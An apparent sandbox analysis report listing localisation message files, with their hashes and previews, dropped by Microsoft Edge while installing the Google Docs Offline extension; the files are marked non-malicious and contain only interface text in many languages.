C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
